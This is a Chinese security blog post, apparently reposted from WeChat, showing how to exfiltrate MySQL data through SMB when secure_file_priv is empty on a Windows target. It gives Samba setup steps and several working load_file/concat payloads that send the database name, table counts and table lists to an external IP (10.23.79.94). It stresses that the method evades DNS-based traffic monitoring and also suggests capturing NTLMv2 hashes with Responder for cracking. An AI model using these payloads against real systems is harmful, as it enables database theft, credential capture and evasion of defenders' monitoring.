mysql smb外带注入

admin 2022年3月2日03:01:27评论160 views字数 1302阅读4分20秒阅读模式

需求:secure_file_priv为空,目标系统为windows
smb设置如下:

找到 security = user , 旧版本将user 改为share,这里我用的新版本,需要在后面添加:map to guest = Bad User新设置一个smbsmb日志:/var/log/samba

mysql smb外带注入

smb外带注入与DNS外带注入比较:

  1. smb外带注入 可以一次性提交更大长度的字符,经测试长度在120是没有问题的,而dns前缀最多是63个字符。而且对特殊字符的兼容性比较好,目前测试发现 *是不行的,其他还有待fuzz。

  2. smb外带注入不依赖于dns,可以绕过目前流量监测设备对异常域名前缀的捕获,可以直接使用ip,不需要dns请求。

构造sql语句:

select load_file(concat("\\<IP>\",(SQL语句),"\xxx"))

为了方便从log里提取查询的内容,可以构造如下语句select load_file(concat("\\10.23.79.94\yayi[",database(),"]\1.txt"));

mysql smb外带注入

查询当前数据库里的表

1. 使用limit2. substring截断

使用limit请先获取总共的表数

select load_file(concat("\\10.23.79.94\yayi[",(select count(table_name) from information_schema.tables where table_schema=database()),"]\1.txt"));

再用limit逐个查询

select load_file(concat("\\10.23.79.94\yayi[",(select table_name from information_schema.tables where table_schema=database() limit 0,1),"]\1.txt"));

mysql smb外带注入

mysql smb外带注入

substring截断
截断到120字符串即可

select load_file(concat("\\10.23.79.94\yayi[",(select substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,120)),"]\1.txt"));

mysql smb外带注入

还有另外种方法就是利用smb获取ntlm hash,适用于知道目标一定的凭证。利用responder获取ntlm v2然后爆破

mysql smb外带注入


参考链接:http://moonslow.com/article/smb_sql_injection

最后

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


无害实验室拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的



本文始发于微信公众号(无害实验室sec):mysql smb外带注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月2日03:01:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   mysql smb外带注入http://cn-sec.com/archives/488917.html

发表评论

匿名网友 填写信息